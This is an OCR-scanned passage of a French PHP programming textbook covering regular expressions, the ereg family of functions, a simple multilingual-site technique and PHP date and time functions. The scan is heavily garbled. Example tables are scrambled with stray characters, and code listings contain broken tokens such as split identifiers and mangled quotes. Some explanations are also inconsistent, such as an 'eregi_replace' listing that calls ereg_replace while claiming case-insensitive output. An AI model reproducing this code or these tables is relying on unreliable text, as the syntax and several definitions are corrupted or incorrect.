L'expression reguliere "morceau a rechercher" pourra servir a rechercher la sous-chaine 

"morceau a rechercher" dans une chaine. 

Les metacaracteres 

Le point 

Un caractere tres utile est le point Dans une expression reguliere, il remplace n'importe 
quel caractere. 

Par exemple "php. est la derniere version" est une expression reguliere pour "PHP3 est 
la derniere version" ou "PHP4 est la derniere version", mais ne fonctionnera pas pour "PHP 10 
est la derniere version", car 10 est sur deux caracteres. (Inversement "php . . est la derniere 
version" fonctionnera pour la version 10, mais pas pour les versions 3 ou 4). 

Utiliser le point tel quel peut poser probleme si Ton veut rechercher le caractere point, et 
uniquement celui-ci. En effet, pour rechercher "3 . 14", il ne faudra pas ecrire "3 . 14", sans quoi 
les expressions "3F14", "3214", "3 : 14" seront reconnues par cette expression reguliere. 

Pour utiliser le caractere point en tant que simple caractere (et non comme metacaractere), il 
faut le preceder du caracteres d'echappement : "\". Pour rechercher "3 . 14" il faut done ecrire 

"3\ . 14". 

Le point d' interrogation 

Le point d'interrogation permet d'indiquer la presence d'au plus une occurrence d'un 
caractere. Le point d'interrogation est a mettre apres le caractere en question. 

Voici quelques exemples : 

"chaines? de caracteres" reconnaitra "chaines de caracteres" et "chaine de 
caracteres". 

"points? et interrogations?" permettra de reconnaitre "points et interrogations" 
"points et interrogation", "point et interrogations" et "point et interrogation". 

Pour utiliser le caractere ? en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Lesigne "plus" 

Le signe "plus" (+) permet d'indiquer la presence d'une ou plusieurs occurrences d'un 
caractere. Le signe plus est a mettre apres le caractere en question. 

Voici quelques exemples : 

"whaoo+" reconnaitra "whaoo", "whaooo", "whaoooo" mais pas "whao". 

"coo+l" servira pour reconnaitre "cool", "coool", "cooooooool" ...mais pas "col". 



Expressions regulieres 



Pour utiliser le caractere + en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Le signe multiplier 

Le signe multiplier (*)permet d'indiquer la presence d'aucune ou de plusieurs occurrences d'un 
caractere. Le signe multiplier est a mettre apres le caractere en question. 

Voici quelques exemples: 

"whao*" reconnaitra "wha", "whao", "whaoo"... 

"cooo*l" servira pour reconnaitre "cool", "coool", "cooooooool"... 

Pour utiliser le caractere * en tant que simple caractere (et non comme metacaractere), il faut 
le faire preceder de V. 

Combinaison de metacaracteres 

Le point peut etre combine avec les signes ?, + ou *. Cela permettra d'indiquer, par exemple, la 
presence de n'importe quel caractere au moins une fois dans le cas du signe +. 

Voici quelques exemples : 

"C'est . *bien" servira pour "C'est tres bien", "C'est vraiment bien", "C'est rien 
bien" et meme "C'est bien". 



Des exemples 

Voici une serie d'exemples. Les expressions regulieres peuvent vite devenir complexes a lire ; il 
suffit de proceder par etapes pour eviter les erreurs : 



Tableau 7.9 : Exemples 



Expression Definition Exemples reconnus Exemples non reconnus 

a.z Caractere 'a' suivi d'un a z az 

seul caractere suivi de V abz abcz 

a_z a_-z 
azz 



a\.z Caractere 'a' suivi du a.z abz „ =_ 

caractere ' . ' suivi de V s ES. 

b) 

o o 

a.+z Caractere 'a' suivi d'au abz az S"- = 

moins un caractere suivi abcz 2> §■ 

.11 «° CO 

de z azzz 

a\.+z Caractere 'a' suivi d'au a.z az 

moins un caractere '. ' a..z 

suivi de 'z' a...z 

a\++ Caractere 'a' suivi d'au a+z az 

moins un caractere '+' a+ +z 

suivi de 'z' a+ + +z 
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Expression 



Definition 



Exemples reconnus 



Exemples non reconnus 



ab?c+d*e Caractere 'a' suivi d'un abcde 

ou d'aucun caractere 'b' acde 

puis d'un caractere 'c' ou abccccccde 

plus, puis abce 

d'eventuellement 1 ou abccccce 

plusieurs 'a' puis d'un 'e' abcddddde 



bcde 
abed 
abde 
abbede 



Pour affiner la recherche, it est possible de definir certains types de caracteres, avec la notation 
suivante : 



Tableau 7.10 : Ensembles de caracteres 



CD Q} 

"O >— 

= B 

o o 



3 O 

.Br CD 

E CD 

ra £ 

_l CO 



Notation 


Definition 




digit : ] 


Tout caractere numerique (0, 1, 2, 3, 4, 5, 6, 7, 8, 9). 




"digit : ] 


Tout caractere non numerique. 




alpha : ] 


Tout caractere alphabetique. 




"alpha : ] 


Tout caractere non alphabetique. 




alnum: ] 


Tout caractere alphanumerique. 




"alnum: ] 


Tout caractere non alphanumerique. 




ascii : ] 


Tout caractere alphanumerique. 




"ascii : ] 


Tout caractere non alphanumerique. 




lower : ] 


Tout caractere alphabetique en minuscule. 




upper : ] 


Tout caractere alphabetique en majuscule. 




print : ] 


Tout caractere imprimable. 




word : ] 


Tout caractere alphanumerique en minuscule et le signe souligne _. 




A word] 


Tout caractere qui n'est pas alphanumerique en minuscule ni le caractere 
souligne 'J. 


[ : space : ] 


Tous les caracteres d'espacement (espace, tabulation, retour chariot) et 
tout autre caractere qui n'utiliserait pas d'encre sur une imprimante. 




"space : ] 


Tous les caracteres qui ne sont pas des caracteres d'espacement. 




punct : ] 


Tout caractere de ponctuation. 




xdigit : ] 


Tout caractere hexadecimal ([0-9a-f]). 




cntrl : ] 


Tout caractere de contrdle. 



Voici une nouvelle serie d'exemples illustrant ce que Ton peut definir avec ces ensembles de 
caracteres. 
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Tableau 7.11 : Exemples 



Expression 




Definition 


Exemples reconnus 


Exemples non 
reconnus 


[ [ : word: ] ] 




Une serie de caracteres 


th o m as @to utestf ac i I e 


thomas@toutestfacile.fr 


+@ [ [ :word: 


] ] 


alphanumeriques (ou 


.com 


toto.com 


+\ . com 




'_') puis le signe '@' 
puis une autre serie de 
caracteres 
alphanumerique (ou 
'_') suivi de '.com'. 






t: digit: ] [ 


: word : ] 


Un chiffre suivi d'un 


Oabd -2 


Oa1b1 -2 


[ : "digit : ] 


[ :word: 


] caractere 


0_aa1 %2 


Oabd d2 


t: digit: ] [ 


: space : 


] alphanumerique puis 






[ : "word : ] [ 


: digit : 


] d'un caractere qui n'est 
pas un chiffre puis un 
caractere 

alphanumerique puis 
un chiffre, un caractere 
d'espacement, d'un 
caractere non 
alphanumerique et 
enfin un chiffre 







II est egalement possible de preciser les nombres minimum et maximum d'occurrences d'un 
caractere en utilisant une notation entre accolades, les deux valeurs etant separees par une 
virgule. 

ab{ 2 , 4 } c signifie : un caractere 'a' suivi de deux a quatre caracteres V puis du caractere 'c'. 
Pour permettre une alternative, il suffit d'utiliser le caractere ' | '. 
ab | ac signifie : soit la chaine 'ab', soit la chaine 'ac' et aucune autre. 

Enfin, pour permettre certains caracteres ou une certaine plage de caracteres, on peut utiliser 
des crochets. 

a[bcde] f permettra de reconnaitre 'abf', 'acf', 'adf' et 'aef', mais pas 'abcf' par exemple. 

Pour definir une certaine plage de caracteres, il suffit de placer un signe '-' entre les caracteres 
delimitant la plage. 

a [b-e] f est identique a l'exemple precedent. 

Pour ajouter le signe '-' a la liste des caracteres, il suffit de le placer juste avant le crochet 
fermant. 

a [b-e-] f permettra de reconnaitre 'abf', 'acf', 'adf', 'aef' et 'a-f'. 

L'utilisation des crochets peut egalement permettre d'exclure certains caracteres, en utilisant le 
caractere d'exclusion ' ~ '. 

[ A bc] oule permettra de reconnaitre 'foule', 'roule' mais pas 'boule' ni 'coule' . 

A l'interieur des crochets, les regies d'echappement ne s'appliquent pas de la meme maniere ; 
seuls les caracteres [ , ] et \ doivent etre precedes du signe \ . 
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Tableau 7.12: D'autres exemples 



Expression 


Definition 


Exemples reconnus 


Exemples non 








reconnus 


[02468] {3,5} 


Un nombre de trois a 


24804 


135 




rinn rarartprpQ 

UIIILj UulabLCICo 




I L.C.L. 




composes de chiffres 


666 


20 




pairs. 






Let zj i u ?J i-> 


l, \ llnp Ipttrp miniiQPiilP 

r 3 j UIIG IOLUG 1 1 III IUOL>UIC 


a 111 


7 76 1 ! 




suivie du signe '_' puis 


g~753 


4_a33 




d'exactement trois 








chiffres. 






[\ [\] \\] + 


Une composition de 


\[]\][]\][ 


[a] 




caracteres '[',']' et V. 


[\] 








\W]][[[ 




[a-zA-ZO-9 


1 Un ou plusieurs 


livrephp@toutestfacile 


@toutestfacile.com 


+@ [a-zA-ZO-9] 


caracteres 


.com 


toto@_.com 


+\ . [a-zA-Z] {2 , 


, 3 } alphanumeriques ou ' . ', 


manuel@brazil.br 





'-' suivi de de thomas.heute@toutestfacile 
un ou plusieurs .com 
caracteres 

alphanumeriques, d'un 
point puis de deux ou 
trois lettres. 



Debut et fin de ligne 

En dehors des crochets, le caractere ' A ' permet de definir le debut d'une chaine. Le caractere '$' 
designe la fin d'une chaine. 

abc reconnaitra "abc", "dabc", "dabce". 

S S ~abc reconnaitra "abc" et "abed". 

"O i— 

_ -Q3 

_o "5 A abc$ reconnaitra "abc" (uniquement). 



e£ Les fonctions PHP 

Substitution par expression reguliere 



E CD 

ra £ 

_l CO 



ereg_replace() 

Permet de remplacer une partie de chaine de caracteres par une autre. 

Syntaxe string ereg_repl ace(stri ng $expression, string $remplacement, 

string $chaine) 

$expressi on Expression reguliere qui correspond a la partie a remplacer. 

$remplacement Chaine de substitution qui peut recuperer les motifs captures par \ \ n , oii 
n est le numero du motif. 
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$chai ne Chaine dans laquelle remplacer une partie. 

retour La chaine de caracteres modifiee. 

Voici un script d'exemple : 
<?php 

echo ereg_repl ace(" ([[:al pha:]]+)@([[:alpha:]]+)\.com" , 
"Premiere partie de 1 'adresse:\\l Domaine:\\2", 
"webmaster@toutestfaci 1 e. com") ; 

?> 

dont le resultat est : 

Premiere partie de 1 'adresse: webmaster Domaine:toutestfacile 



ereg_replace() vs. str_replace() 

Bien qu 'il soil possible d'utiliser ereg_replace ( ) a la place de s tr_replace ( ), il 
REMARQUE est tout ^ e m eme preferable, pour des raisons de rapidite, d'utiliser 
str_replace ( )lorsque le motif recherche s'avere etre une chaine ne faisant 
intervenir aucun joker. Bien entendu, la difference ne se fera ressentir que si cette 
fonction est appelee de nombreuses fois. 



eregi_replace() 



Permet de remplacer une partie de chaine de caracteres par une autre expression reguliere 
insensible a la casse. 

Syntaxe string eregi_replace(string $expression, string $rempl acement, 

string $chaine) 

$expressi on Expression reguliere qui correspond a la partie a remplacer. 

$rempl acement Chaine de substitution qui peut recuperer les motifs captures par \ \n, ou 
n est le numero du motif. 

$chai ne Chaine dans laquelle remplacer une partie. 

retour La chaine de caracteres modifiee. 

Voici un script d'exemple : 

Listing 7.39 : eregi replace.php 

<?php 

echo ereg_repl ace(" ([[:al pha:]]+)@([[:alpha:]]+)\.com" , 
"Premiere partie de 1 'adresse:\\l Domaine:\\2", 
"webmaster@toutestfaci 1 e.Com") ; 

?> 



<r> o 



2 ™ 

CO CO 
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dont le resultat est : 

Premiere partie de 1 'adresse: webmaster Domaine:toutestfacile 

Extraction et comparaison par expression reguliere 



ereg() 



Permet de retourner les motifs captures d'une chaine de caracteres ou, tout simplement, de 
verifier si cette derniere satisfait a une expression reguliere. 

Syntaxe int ereg(string $expression, string $chaine [, array 

&$resultat]) 

$expressi on Expression reguliere a verifier. 

$chai ne Chaine dont on veut verifier qu'elle correspond a l'expression reguliere. 

$resul tat Les motifs captures sont stockes dans ce tableau. 

retour TRUE si la chaine verifie l'expression reguliere, FALSE sinon. 

Voici un script d'exemple : 

Listing 7.40 : ereg.php 

<?php 

echo (ereg("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.com")) ? "Ca matche" : "Ca matche pas"; 
echo "<br />\n"; 

echo (ereg("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.COM")) ? "Ca matche" : "Ca matche pas"; 

?> 



CD 03 

= dont le resultat est : 

o o 

IB ca 

3 o Ca matche 

~ o> Ca matche pas 

£ « 

E 03 

cu <£ 

_J CO 



eregiQ 



Permet de retourner les motifs captures d'une chaine de caracteres ou, tout simplement, de 
verifier si cette derniere satisfait a une expression reguliere, sans tenir compte de la casse (les 
minuscules et majuscules sont confondues). 

Syntaxe int eregi (string $expression, string $chaine[, array 

$resul tat] ) 

$expression Expression reguliere a verifier. 
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$chaine Chaine dont vous souhaitez extraire des motifs, ou verifier qu'elle 

correspond a 1'expression reguliere. 

$resul tat Les motifs captures sont stockes dans ce tableau. 

retour TRUE si la chaine verifie 1'expression reguliere, FALSE sinon. 

Voici un script d'exemple : 
Listing 7.41 : eregi.php 

<?php 

echo (eregi ("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.com")) ? "Ca matche" : "Ca matche pas"; 
echo "<br />\n"; 

echo (eregi ("([[:alpha:]]+)@([[:alpha:]]+)\.com", 

"webmaster@toutestfacile.COM")) ? "Ca matche" : "Ca matche pas"; 

?> 

dont le resultat est : 

Ca matche 
Ca matche 

Decoupe par expression reguliere 



split() 

Permet de decouper une chaine de caracteres en morceaux selon une expression reguliere. 

Syntaxe array split(string $expression, string $chaine [, int « ;-J 

$1 invite]) S, £T 

= 

$expression Expression reguliere du separateur. S> 3 

°- — 

Schaine Chaine a decouper. ™ -a 

$1 i mi te Nombre d'elements maximum du tableau. 

retour Un tableau des differentes parties separees par 1'expression reguliere. 



Encore un petit exemple d'application : 

Listing 7.42 : split.php 

<?php 

print_r(split(" [:;,.]"» 

"Comment .separer; des .el ements.d 1 une:chai ne") ) : 

?> 



cj o 



CO CO 
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qui produira : 

Array 
( 

[0] => Comment 

[1] => separer 

[2] => des 

[3] => elements 

[4] => d'une 

[5] => chaine 



spliti() 

Permet de decouper une chaine de caracteres en morceaux, l'expression reguliere ignorant la 
casse des caracteres. 



Syntaxe array spl it (string $expression, string $chaine[, int $1 i mi te] ) 

$expressi on Expression reguliere du separateur. 

$ c h a i n e Chaine a decouper. 

$1 i mi te Nombre d'elements maximum du tableau. 

retour Un tableau des differentes parties separees par l'expression reguliere. 



Divers 



sql_regcase() 

Hi w 

= <aj Permet de creer une expression reguliere negligeant la casse. 

o o 

2 g Syntaxe string sql_regcase (string $chaine) 

■g" .g $chaine Chaine de caracteres. 

E ai retour Une expression reguliere. 

ec >— 
i ro 

r-^ « Encore un exemple : 

Listing 7.43 : sql regcase.php 

<?php 

echo sql_regcase("C ' est Cool."); 

?> 

Et son resultat : 

[Cc] ' [Ee] [Ss] [Tt] [Cc][0o][0o][Ll]. 
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7.9. Adapter le texte a la langue du visiteur 

Si vous souhaitez proposer le meme site web a des visiteurs provenant de differents horizons 
linguistiques, vous devrez trouver une solution vous permettant d'adapter le texte en fonction 
de la langue choisie. Une des solutions consiste a utiliser la bibliotheque gettext. 
Malheureusement, sans que nous puissions veritablement determiner l'origine du probleme, il 
se trouve que cette bibliotheque n'a correctement fonctionne que dans un des trois 
environnements testes. Nous ne nous etendrons pas sur ce sujet, d'autant qu'il est tres facile 
d'arriver au meme resultat sans avoir a utiliser la moindre bibliotheque (ce qui garantit un 
fonctionnement dans n'importe quel environnement). 

En effet, il vous suffit de creer un script par langue que vous souhaitez proposer, chacun de ces 
scripts definissant un tableau associatif ayant pour cles les identifiants de message (qui 
pourraient etre les versions franchises du message) et pour valeurs les traductions. 

Ce qui donne, par exemple : 



Listing 7.44 : lang en inc.php 



<?php 

$msg["titre"] 
$msg["Bonjour"] 
$msg["Quoi de neuf?"] 

?> 



"Welcome! This is our acme website" 
"Hi"; 

"What's up?"; 



Listing 7.45 : langfrinc.php 

<?php 

$msg["titre"] = "Bienvenue! C'est notre super site"; 

$msg["Bonjour"] = "Bonjour"; 

$msg["Quoi de neuf?"] = "Quoi de neuf?"; 

?> 



II suffira alors d'inclure le fichier correspondant a la langue choisie, et de faire appel aux valeurs a 
du tableau pour chaque affichage. Comme dans l'exemple suivant : 2J> £J" 

CD = 

Listing 7.46 : lang accueil.php =■ =. 

o c= 

<?php 3 
switch ($_GET["lang"]) { 2. § 

case "en" : 3 §■ 

j «" CO 

include("lang_en_inc.php") ; 
break; 

} 

case "fr" : 
default : 
{ 

include("lang_fr_inc.php") ; 
break; 
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?> 

<html> 
<head> 

<titlex?php echo $msg["titre"] ; ?></title> 

</head> 

<body> 

<hlx?php echo $msg["Bonjour"] ; ?></hl> 
<?php echo $msg["Quoi de neuf?"]; ?> 
</body> 
</html> 

Ainsi, l'appel lang_accueii .php?lang=f r (ou tout autre valeur de lang differente de "en") 
retournera : 

Bonjour 

Quoi de neuf? 

avec pour titre : 

"Bonjour! C'est notre super site" 

Alors que l'appel lang_accueil .php?lang=en retournera : 
Hi 

What's up? 

avec pour titre : 

Welcome! This is our acme website 

Meme si votre site n'est qu'en francais, cette methode peut presenter des avantages, puisqu'en 
faisant ainsi, tous les textes sont centralises dans un unique fichier (ce qui ne peut que simplifier 
les mises a jour). 



| s 1 , Detection automatique de la langue preferee 

o t» j! ^ vous souhaitez determiner automatiquement la langue preferee de votre visiteur, 

*= 2 ASTUCE vous pourrez faire appel a la variable externe $_server [ " http_accept 

_language " ] . Celle-ci contient une liste des codes pays ( sur deux lettres ) separes par 



.Br CD 



E S preferee supportee par votre site (ici, "en" et "ft") grace au script suivant : 

CO — 
I CO 

^ " <?php 

function languePreferree() { 

Slangs = explode(",", $_SERVER["HTTP_ACCEPT_LANGUAGE"] ) ; 
for ($i=0; (($i<count($langs))&&(!isset($lang))) ; $i++) { 

if (i n_array ($1 angs [$i] , array("en", "fr"))) $lang = $langs[$i]: 

} 

return $lang; 

} 

?> 



des virgules et dans Vordre de preference. Vous pourrez alors determiner la langue 
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La gestion des 
dates et des 
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8.2 
8.3 



Les fonctions de date et heure . . 
Les dates et calendriers particuliers 
Les gestionnaires d'evenements . 
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Les fonctions de date et heure 



8.1. Les fonctions de date et heure 

Le langage PHP offre des fonctions similaires a ce que l'on peut rencontrer en C/C++. La 
plupart de ces fonctions s'appuient sur une date definie par un entier correspondant au nombre 
de secondes ecoulees depuis le l er janvier 1970 a 00:00:00 (aussi appele epoch). Une date ainsi 
definie sera egalement appelee timestamp UNIX. 



Jusqu'en 2037... 

Ce timestamp UNIX n'est valable que dans la plage de temps comprise entre le l e 
REMARQUE j anv i er 1970 et 2037. 



Recuperer une date au "format informatique" 

Ainsi, generalement, la premiere operation a realiser lorsque Ton souhaite manipuler des dates 
consiste a recuperer la date voulue au format timestamp UNIX. Pour cela, nous disposons des 

fonctions time ( ) , mktime ( ) et strtotime ( ) . 



time() 



Retourne la date courante. 

Syntaxe int time (void) 

retour Nombre de secondes ecoulees depuis le l er janvier 1970. 



mktime () 



Retourne le timestamp de la date specifiee. 

Syntaxe int mktime(int $heure, int $minute, int $seconde, int $mois, 

int $jour, int $annee) 

$heure L'heure. 

$mi nute Les minutes. 

$seconde Les secondes. 

$mois Lemois. 

$jour Lejour. 

$annee L'annee. 

retour Nombre de secondes ecoulees entre le l er janvier 1970 et la date specifiee. 



CD 



O — . 
03 O 



cd a. 

v> £>. 

CD 

CO 
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strtotimeO 

Retourne le timestamp d'ime date specifiee sous la forme d'une chaine de caracteres et 
exprimee en anglais. 

Syntaxe int strtotime(string $date) 

$date Date exprimee en anglais. 

retour Nombre de secondes ecoulees entre le l er janvier 1970 et la date specifiee. 

Listing 8.1 : datetime_01.php 

<?php 

echo "Le timestamp actuel est " .time() . "<br />"; 

echo "Le timestamp pour la date du 10/01/2001 18:15 est "; 

echo mktime(18, 15, 0, 1, 10, 2001). "<br />"; 

echo "Le timestamp pour la date du 10 Janvier 2001 18:15 est "; 

echo strtotime("10 January 2001 18:15"). "<br />"; 

echo "Le timestamp pour la date du 2001-01-10 18:15 est "; 

echo strtotime("2001-01-10 18:15"). "<br />"; 

?> 

retournera : 

Le timestamp actuel est (valeur variable) 

Le timestamp pour la date du 10/01/2001 18:15 est 979146900 

Le timestamp pour la date du 10 Janvier 2001 18:15 est 979146900 

Le timestamp pour la date du 2001-01-10 18:15 est 979146900 



Dates au format SQL 

Comme vous pouvez le constater, strtotime ( ) permet de traiter des dates issues 



REMARQJE d'une base de donnees (i.e. au format aaaa-mm-jj hh-.mm: ss) 



2 w Effectuer des operations sur les dates 



■a oj 

CO 'i- 

03 -a 



03 



Lorsque vous avez une date au format timestamp UNIX (issue, par exemple, de la fonction 
timet)), vous pouvez ajouter/soustraire des secondes, des minutes, des heures, des jours 
simplement en ajoutant/soustrayant le nombre de secondes correspondant. 



O C3 
03 M 

™ « Listing 8.2 : datetime_02a.php 



<?php 

echo "Le timestamp d'hier a la meme heure est " . (time()-24*3600) . "<br />"; 
?> 
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Si, en revanche, vous voulez ajouter/soustraire des mois ou des annees, vous devrez 
decomposer la date exprimee en secondes depuis le l er janvier 1970 en jours, mois, annees, 
heures, minutes et secondes. Pour cela, vous pouvez faire appel a la fonction getDate ( ) . 



getDate() 

Retourne les differents champs d'une date (ou de la date courante). 
Syntaxe array getDate ([int $date] ) 

$date Date exprimee en nombre de secondes depuis 1970 (par defaut, la date 

courante). 

retour Tableau associatif contenant (entre autres) les cles : 

"mday" jour, 
"mon" mois. 
"year" annee. 
"hours" heure. 
"minutes" minutes, 
"seconds" secondes. 

Listing 8.3 : datetime_02b.php 

<?php 

$tableauDate = getdate(); 

// Calcul de la date courante - 6 mois 
$tableauDate["mon"] = $tabl eauDate["mon"] - 6; 

if ($tableauDate["mon"] < 1) { 

$tableauDate["mon"] = $tableauDate["mon"] + 12; 
$tableauDate["year"] = $tableauDate["year"] - 1; 



echo "II y a 6 mois, nous etions le "; 

echo $tabl eauDate["mday"] . "/" .$tabl eauDate["mon"] ; 

echo "/" .$tableauDate["year"] ; 



CD 



echo "<br />"; 



>> 



03 



O — . 
03 O 



Afficher des dates I £. 

55 H. 



II existe differentes fonctions d'affichage (ou, plus exactement, de representation) des dates, 
mais toutes s'appuient sur une date exprimee en secondes depuis le l er janvier 1970. 

Parmi elles, vous trouverez les fonctions date ( ) et strf time ( ) . 



CD 

in 
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V) 



03 



03 



dateQ 



Represente une date (ou date courante) selon le format specifie. 
Syntaxe string date (string $format [, ind $date]) 

$format Chaine precisant le format de representation de la date en s'appuyant sur 

les cles presentees ci-apres. 

$date Date exprimee en nombre de secondes depuis 1970 (par defaut, date 

courante). 

retour Chaine de caracteres representant la date. 

Dans le cadre de la fonction date ( ) , les cles sont : 

Tableau 8.1 : Les differentes cles pour representor un format de date avec dateQ 

Cle Signification 

Concernant les jours 

I Pour le jour en toutes lettres (en anglais). 

D Pour les trois premieres lettres du jour (en anglais). 

w Pour le jour de la semaine (0 = Dimanche, 6 = Samedi). 

d Pour le jour du mois, sur deux chiffres. 

j Pour le jour du mois (sur un ou deux chiffres). 

S Pour le suffixe sur deux lettres (en anglais) du nombre indiquant le jour. 

z Pour le numero du jour dans I'annee (0 = 1 er Janvier). 



Concernant les mois 

F Pour le mois en toutes lettres (en anglais). 

M Pour les premieres lettres du mois (en anglais), 

m Pour le mois, sur deux chiffres. 

n Pour le mois (sur un ou deux chiffres). 



2j t Pour le nombre de jours dans le mois. 

5 £ 



M -2? Concernant les annees 



Pour I'annee, sur quatre chiffres. 



o -I 

S o y Pour I'annee, sur deux chiffres. 

=>■§ L Pour "1" si I'annee est bissextile, "0" sinon. 



Concernant les heures 

g Pour I'heure sur 12 heures (sur un ou deux chiffres). 

G Pour I'heure sur 24 heures (sur un ou deux chiffres). 

h Pour I'heure sur 12 heures, sur deux chiffres. 
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Cle Signification 

H Pour I'heure sur 24 heures, sur deux chiffres. 

a Pour "am" ou "pm". 

A Pour "AM" ou "PM". 

I Pour "1" en heure d'ete et "0" en heure d'hiver. 

T Pour le fuseau horaire. 

Z Pour le decalage horaire GMT en secondes. 

B Pour I'heure internet Swatch. 

Concernant les minutes 

i Pour les minutes, sur deux chiffres. 

Concernant les secondes 

s Pour les secondes, sur 2 chiffres. 

Concernant la date dans son ensemble 

r Pour la date au format RFC 822 (Tue, 22 Jan 2002 11:09:42 +0100). 

U Retourne simplement le timestamp. 



L'exemple : 

Listing 8.4 : datetime_03a.php 

<?php 

echo "Nous sommes le ".date("l j F Y")." "; 
echo "II est " .date("H: i :s") . "<br />"; 

?> 

pourra retourner quelque chose comme : 

Nous sommes le Tuesday 9 July 2002 
II est 22:39:06 

La fonction date ( ) propose done de nombreuses possibilites de formatage d'une date, mais 
nous lui preferons la fonction strf time ( ) qui, elle, tient compte de la langue locale lors de la 
restitution d'informations en toutes lettres. 

strftimeO 

Represente une date (ou la date courante) selon le format specifie. 

Syntaxe string strftime(stri ng $format [, int $date]) 

$format Chaine precisant le format de representation de la date en s'appuyant sur 

les cles presentees ci-apres. 



o — . 

03 O 



cd a. 

CD 

C/3 
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CO 
CD 

CO J2 

■a eu 

CO 'i- 

a> -a 

— £= 

CD 



$date Date exprimee en nombre de secondes depuis 1970 (par defaut, la date 

courante). 

retour Chaine de caracteres representant la date. 

Dans le cadre de la fonction strf time ( ) , les cles sont : 

Tableau 8.2 : Les differentes cles pour representor un format de date avec strftime() 
Cle Signification 
Concernant le jour 

%A Pour le jour en toutes lettres (dans la langue locale). 

%a Pour les trois premieres lettres du jour (dans la langue locale). 

%d Pour le jour du mois, sur deux chiffres. 

%e (*) Pour le jour du mois (sur un ou deux chiffres). 

%j Pour le numero du jour dans I'annee, sur trois chiffres (1 = 1 er janvier). 

%u (*) Pour le jour de la semaine (1 = lundi 7 = dimanche). 

%w Pour le jour de la semaine (0 = dimanche 6 = samedi). 

Concernant le mois 

%B Pour le mois en toutes lettres (dans la langue locale). 

%b Pour les trois premieres lettres du mois (dans la langue locale). 

%h (*) Comme %b. 

%m Pour le mois; sur deux chiffres. 

Concernant I'annee 

%y Pour I'annee, sur deux chiffres. 

%Y Pour I'annee, sur quatre chiffres. 

Concernant I'heure 

%H Pour I'heure sur 24 heures, sur deux chiffres. 

%l Pour I'heure sur 12 heures, sur deux chiffres. 

%p Pour AM ou PM. 

%Z Pour le fuseau horaire. 

Concernant les minutes 



.2 g %M Pour les minutes, sur deux chiffres. 

CO u> 



S, g Concernant les secondes 

03 



°> %S Pour les secondes, sur deux chiffres. 



Concernant la semaine 

%U Pour le numero de la semaine (1 = semaine du 1 er dimanche de I'annee) 

%V (*) Pour le numero de la semaine (ISO 8601:1988), sur deux chiffres. 



440 



Les fonctions de date et heure 



Cle 


Signification 


%W 


Pour le numero de la semaine (1 = semaine du 1 er lundi de I'annee). 


Concernant le siecle 


%C (*) 


Pour le siecle, sur deux chiffres. 


Concernant la date dans son ensemble 


%D (*) 


Pour la date au format %m/%d/%y. 


%r (*) 


Pour I'heure au format %I:%M:%S %p. 


%R (*) 


Pour I'heure au format %H:%M. 


%T (*) 


Pour I'heure au format %H:%M:%S. 


%c 


Pour I'affichage traditionnel de la date dans la langue locale (ex. : JJ/MM/AA 
hh:mm:ss en France). 


%x 


Pour I'affichage traditionnel de la date dans la langue locale, sans I'heure (ex. : 
JJ/MM/AA en France). 


%X 


Pour I'affichage traditionnel de I'heure dans la langue locale (ex. : hh:mm:ss en 
France). 


Autre 


%n 


Pour inserer un retour a la ligne. 


%t 


Pour inserer une tabulation. 


%% Pour afficher un pourcentage. 



L'exemple : 



Listing 8.5 : datetime_03b.php 

<?php 

setLocal e(LC_TIME, "fr"); 
echo "Nous sommes le " .strftime("%A %d %B %Y")."<br />"; 
echo "II est " . strftime("%H:%M:%S") . "<br />"; 

?> 



retournera quelque chose comme : 

Nous sommes le mardi 09 juillet 2002 
II est 22:51:06 



CD I - 



o — . 

03 O 



APortabilite ~ «" 

Malheureusement, il est possible que votre bibliotheque PHP ait ete compilee avec <n H. 

ATTENTION une bibliotheque C ne supportant pas toutes ces options. Les cles marquees d'un "> 
asterisque ne sont pas disponibles dans les versions Windows, alors qu'elles le sont 
parfaitement sous Linux. 
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Les heures GMT 

Les fonctions mktime ( ) , date ( ) et strf time ( ) se declinent en gmmktime ( ) , gmdate ( ) et 
gmstrf time ( ) . 

Ces fonctions s'utilisent exactement de la meme facon, mais : 

gmmktime () retourne le timestamp UNIX local (tenant compte du decalage horaire) 
d'une date donnee en heures GMT. 

gmdate () et gmstrf time ( ) retournent les valeurs GMT pour des dates exprimees 
localement (tenant compte du decalage horaire). 

Listing 8.6 : datetime_04.php 

<?php 

echo "Le 1/1/2003 11:00:00 GMT donne "; 

echo strf time("%H:%M:%S'',gmmktime(ll, 0,0, 1,1, 2003)); 

echo "localement <br />"; 

echo strftime("A %H:%M:%S ", mktime(12, 0,0, 1,1, 2003)) ; 

echo "1 ocal ement<br />"; 

echo gmstrftimeC'Il est %H:%M:%S", mktime(12, 0,0, 1,1, 2003)) ; 

echo " GMT (d'apres gmstrf time) .<br />"; 

echo "II est " .gmdate("H:i :s",mktime(12, 0,0, 1,1,2003)) ; 
echo " GMT (d'apres gmdate). <br />"; 

?> 

affichera : 

Le 1/1/2003 11:00:00 GMT donne 12:00:001ocalement 

A 12:00:00 localement 

II est 11:00:00 GMT (d'apres gmstrf t ime) . 

II est 11:00:00 GMT (d'apres gmdate). 



Les microsecondes 



jg PHP dispose de deux fonctions permettant de recuperer l'heure a la microseconde pres. II s'agit 

co <£ des fonctions getTimeOf Day ( ) et microtime ( ) . 

■o oj 

CO 

CD -O 

13 C 

C= °> 

O CO 

03 q) 

CO — 
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geffimeOfDayO 



Retourne les champs de la date courante, y compris les microsecondes. 
Syntaxe array getTimeOf Day (void) 

retour Tableau associatif contenant (entre autres) les cles : 

"sec" contenant le timestamp UNIX, 
"usee" contenant les microsecondes. 



442 



Les fonctions de date et heure 



microtimeO 

Retourne une chaine de caracteres contenant les microsecondes de la date courante. 
Syntaxe string microtime(void) 

retour Chaine de caracteres contenant les microsecondes (O.xxxxxx), une espace 

puis le timestamp UNIX. 

Listing 8.7 : datetime_05.php 

<?php 

$topO=getTimeOfDay() ; 

echo "Temps d 1 execution avec getTimeOfDay<br />"; 
$topl=getTimeOfDay() ; 

$diff=($topl["usec"]+$topl["sec"]*lE6) - 
($topO ["usee"] +$topO ["sec"] *1E6) ; 

echo "Temps = $diff micro-secondes<br />"; 

1 ist($usecO,$secO)=explode(" " .microti me ()) ; 
echo "Temps d'execution avec microtime<br />"; 
